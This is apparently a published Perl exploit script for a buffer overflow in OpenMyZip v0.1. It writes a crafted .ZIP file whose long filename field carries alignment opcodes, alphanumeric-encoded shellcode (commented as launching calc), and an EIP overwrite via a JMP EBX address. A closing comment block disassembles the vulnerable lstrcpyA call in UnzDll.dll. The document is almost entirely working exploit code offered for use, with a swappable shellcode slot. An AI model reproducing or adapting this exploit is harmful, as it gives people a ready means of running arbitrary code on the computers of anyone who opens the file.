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#!/usr/bin/perl # # #[+]Exploit Title: OpenMyZip V0.1 .ZIP File Buffer Overflow Vulnerability #[+]Date: 02\05\2011 #[+]Author: C4SS!0 G0M3S #[+]Software Link: http://download.cnet.com/OpenMyZip/3000-2250_4-10657274.html #[+]Version: v0.1 #[+]Tested On: WIN-XP SP3 Brazil Portuguese #[+]CVE: N/A # # #
use strict; use warnings;
my $filename = "Exploit.zip";
print "\n\n\t\tOpenMyZip V0.1 .ZIP File Buffer Overflow Vulnerability\n"; print "\t\tCreated by C4SS!0 G0M3S\n"; print "\t\tE-mail Louredo_\@hotmail.com\n"; print "\t\tSite www.exploit-br.org/\n\n";
print "\n\n[+] Creting ZIP File...\n"; sleep(1); my $head = "\x50\x4B\x03\x04\x14\x00\x00". "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xe4\x0f" . "\x00\x00\x00";
my $head2 = "\x50\x4B\x01\x02\x14\x00\x14". "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\xe4\x0f". "\x00\x00\x00\x00\x00\x00\x01\x00". "\x24\x00\x00\x00\x00\x00\x00\x00";
my $head3 = "\x50\x4B\x05\x06\x00\x00\x00". "\x00\x01\x00\x01\x00". "\x12\x10\x00\x00". "\x02\x10\x00\x00". "\x00\x00";
my $payload = "\x41" x 8; $payload = $payload. ("\x61" x 7).#6 POPAD ("\x6A\x30").#PUSH 30 ("\x5B\x52\x59").#POP EBX / PUSH EDX / POP ECX ("\x41" x 10).#10 INC EAX ("\x02\xd3").#ADD CL,BL ("\x51\x58").#PUSH ECX / POP EAX ("\x98\xd1"); #BASE CONVERSION #"\x98" == "\xff" # "\xd1" == "\xd0" #"\xff" + "\xd0" = CALL EAX AND CODE EXECUTION.;-} $payload .= "\x41" x 22;#MORE PADDING FOR START FROM MY SHELLCODE $payload .= "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIYK9PFQO9OO3LUFRPHLN9R". "TFDZTNQ5NV8VQSHR8MSM8KLUSRXRHKDMUVPBXOLSUXI48X6FCJUZSODNNCMTBOZ7JP2ULOOU2JMUMPTN". "5RFFIWQM7MFSPZURQYZ5V05ZU4TO7SLKK5KEUBKJPQ79MW8KM12FXUK92KX9SZWWK2ZHOPL0O13XSQCO".#Alpha SHELLCODE WinExec('calc',0) BaseAddress = EAX "T67JW9HWKLCLNK3EOPWQCE4PQ9103HMZUHFJUYQ3NMHKENJL1S5NHWVJ97MGK9PXYKN0Q51864NVOMUR". "9K7OGT86OPYJ03K9GEU3OKXSKYZA"; $payload .= "\x44" x (2050-length($payload)); $payload .= "\x58\x78\x39".#POP EAX / JS SHORT 011E0098 "\x41" x 5;# PADDING FOR OVERWRITE EIP $payload .= pack('V',0x00404042);#JMP EBX $payload .= "\x42" x 50; $payload .= "\x41" x (4064-length($payload));
$payload = $payload.".txt"; my $zip = $head.$payload.$head2.$payload.$head3; open(FILE,">$filename") || die "[-]Error:\n$!\n"; print FILE $zip; close(FILE); print "[+] ZIP File Created With Sucess:)\n"; sleep(2); =head # #The Vulnerable Function: # # #The Vulnerable function is in MODULE UnzDll.dll on #Function UnzDllExec+0x7a3 after CALL the function kernel32.lstrcpyA #ocorrs the Buffer Overflow on movimentation of the String Very large. # #Assemble: # # 0x00DA6A6F 53 PUSH EBX # 0x00DA6A70 56 PUSH ESI # 0x00DA6A71 8B75 08 MOV ESI,DWORD PTR SS:[EBP+8] # 0x00DA6A74 8B55 18 MOV EDX,DWORD PTR SS:[EBP+18] # 0x00DA6A77 8B45 10 MOV EAX,DWORD PTR SS:[EBP+10] # 0x00DA6A7A 83BE 8CD20000 00 CMP DWORD PTR DS:[ESI+D28C],0 # 0x00DA6A81 8D9E 50D80000 LEA EBX,DWORD PTR DS:[ESI+D850] # 0x00DA6A87 74 65 JE SHORT UnzDll.00DA6AEE # 0x00DA6A89 8B8E 84D20000 MOV ECX,DWORD PTR DS:[ESI+D284] # 0x00DA6A8F 890B MOV DWORD PTR DS:[EBX],ECX # 0x00DA6A91 8B8E 88D20000 MOV ECX,DWORD PTR DS:[ESI+D288] # 0x00DA6A97 894B 04 MOV DWORD PTR DS:[EBX+4],ECX # 0x00DA6A9A 33C9 XOR ECX,ECX # 0x00DA6A9C C743 08 A0000000 MOV DWORD PTR DS:[EBX+8],0A0 # 0x00DA6AA3 894B 0C MOV DWORD PTR DS:[EBX+C],ECX # 0x00DA6AA6 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C] # 0x00DA6AA9 894B 10 MOV DWORD PTR DS:[EBX+10],ECX # 0x00DA6AAC 81BE 88DB0000 91>CMP DWORD PTR DS:[ESI+DB88],91 # 0x00DA6AB6 7F 0A JG SHORT UnzDll.00DA6AC2 # 0x00DA6AB8 8BC8 MOV ECX,EAX # 0x00DA6ABA 80E1 FF AND CL,0FF # 0x00DA6ABD 0FBEC9 MOVSX ECX,CL # 0x00DA6AC0 EB 02 JMP SHORT UnzDll.00DA6AC4 # 0x00DA6AC2 8BC8 MOV ECX,EAX # 0x00DA6AC4 894B 14 MOV DWORD PTR DS:[EBX+14],ECX # 0x00DA6AC7 85D2 TEST EDX,EDX # 0x00DA6AC9 8B45 14 MOV EAX,DWORD PTR SS:[EBP+14] # 0x00DA6ACC 8943 18 MOV DWORD PTR DS:[EBX+18],EAX # 0x00DA6ACF 75 06 JNZ SHORT UnzDll.00DA6AD7 # 0x00DA6AD1 C643 1C 00 MOV BYTE PTR DS:[EBX+1C],0 # 0x00DA6AD5 EB 0A JMP SHORT UnzDll.00DA6AE1 # 0x00DA6AD7 52 PUSH EDX # 0x00DA6AD8 8D53 1C LEA EDX,DWORD PTR DS:[EBX+1C] # 0x00DA6ADB 52 PUSH EDX # 0x00DA6ADC E8 ABF20000 CALL UnzDll.00DB5D8C ; JMP to kernel32.lstrcpyA # 0x00DA6AE1 53 PUSH EBX # 0x00DA6AE2 FF96 8CD20000 CALL DWORD PTR DS:[ESI+D28C] ; Here ocorrs the Code Execution:-) # 0x00DA6AE8 0986 70D20000 OR DWORD PTR DS:[ESI+D270],EAX # 0x00DA6AEE 5E POP ESI # 0x00DA6AEF 5B POP EBX # 0x00DA6AF0 5D POP EBP # 0x00DA6AF1 C3 RETN # # # # # =cut
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